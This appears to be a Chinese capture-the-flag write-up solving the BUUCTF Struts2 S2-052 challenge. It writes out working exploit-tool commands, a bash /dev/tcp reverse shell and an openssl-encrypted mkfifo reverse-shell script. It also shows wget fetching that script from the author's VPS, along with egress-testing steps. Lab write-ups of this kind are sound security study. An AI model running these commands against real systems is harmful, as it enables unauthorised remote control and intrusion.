BUUCTF笔记之Real部分WP([struts2]s2-052)

声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!

这题有点小坑,值得单独写一篇文章分析它的坑。

参考资料:1、反弹shell受限情况下的倔强

2、全程带阻:记一次授权网络攻防演练(下)

先上flag:

启动环境之后是这样。

根据vulhub的提示,我们直接拿到存在漏洞的url:

http://node3.buuoj.cn:25069/orders/3/edit

经过本地burp测试也复现了该漏洞,但BUUCTF上的环境是不会有回显的,这就给渗透带来了很大的麻烦。

为了节省时间,直接上工具了。

经过工具测试确认漏洞存在:

坑1

因为漏洞没有回显,需要上传一个一句话,这是第一个坑。

我们通过工具向服务器写入一个jsp的一句话:

失败了,换一个,上传一个jspx的一句话,也失败了:

坑2

既然带回显的一句话上传失败,那就通过漏洞反弹shell试试:

注:反弹shell需要一个有公网IP的vps。我随便买了一个。

反弹shell的命令:

python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:25869/orders/4/edit -c 'bash -i >& /dev/tcp/你的vps的公网IP/VPS监听的端口 0>&1'

我在VPS上监听8080端口,我的VPS的公网IP为:1.1.1.1

所以命令为:python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:25869/orders/4/edit -c 'bash -i >& /dev/tcp/1.1.1.1/8080 0>&1'

在VPS上监听8080端口:nc -lvvp 8080:

通过工具反弹一个shell回来:

如上图,又失败了。。。。监听了半天啥也没有。

走到这里要好好考虑下到底是怎么回事。

当反弹shell失败的时候,我们要考虑下到底是为什么失败,根据可能的原因逐一排查。

1、检查目标是否通外网(这一步一般是用在打内网的时候。当然,在BUUCTF这道题里面肯定是通的)

我们在dnslog上随便申请一个域名:

通过工具使目标ping一下该域名,看看成不成功:

刷新一下dnslog的记录,发现有记录:

说明机器允许外网流量。

2、检查bash命令是否存在,但这一步因为没有回显,一句话也写不进去,暂时想不到排查的办法。

3、检查是否是出站端口受限:

在vps监听8080端口。

然后通过工具执行wget http://你的vps的ip地址:监听的端口

8080端口收到了请求:

再试一个随机端口12345,也成功了,说明出站的端口没有受限:

4、目标机器存在流量审查机制

我们在假设bash命令可用的情况下,排除是否存在流量审查机制。

vps上生成证书的公私钥对:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

要输入的地方一路回车。

在vps上使用openssl监听接收shell的端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345

用工具执行openssl加密反弹shell的流量:

失败了,换成443端口试试:

还是失败了。

坑3

在这里我卡了很久,最后发现是工具传过去的命令可能有问题导致的,如此我们换一种方式执行命令。

在vps上生成一个执行openssl的.sh脚本:(这里已经测试过目标机器上可以通过漏洞利用工具执行sh脚本,原理也是在sh脚本内写一个Ping域名的命令查看是否有记录来判断是否成功)

#!/bin/sh
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s

上面的ip就是vps的IP,这个公网IP是我买的按时长计费的一小时vps,所以IP可以放出来,反正马上就过时了:)

然后我们在sh文件所在的目录下执行以下python2命令:

python -m SimpleHTTPServer 8080

通过漏洞利用工具执行以下命令:

 python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:27539/orders/4/edit -c 'wget http://116.85.29.47:8080/1.sh'

vps上也收到了目标机器的请求,说明sh文件已经成功下载到了目标机上:

然后我们ctrl c 关掉python快速搭建的文件服务器,重新打开openssl监听443端口加密流量。

然后通过漏洞利用工具将目标机器上的sh文件改成777:

 python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:27539/orders/4/edit -c 'chmod 777 1.sh' 

然后执行该sh文件:

成功获取了一个哑shell:

权限还很高,是个root。

直接执行env就可以拿到flag了。

最后放一个flag判断成功的截图:

-------------------------end-------------------------------------

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值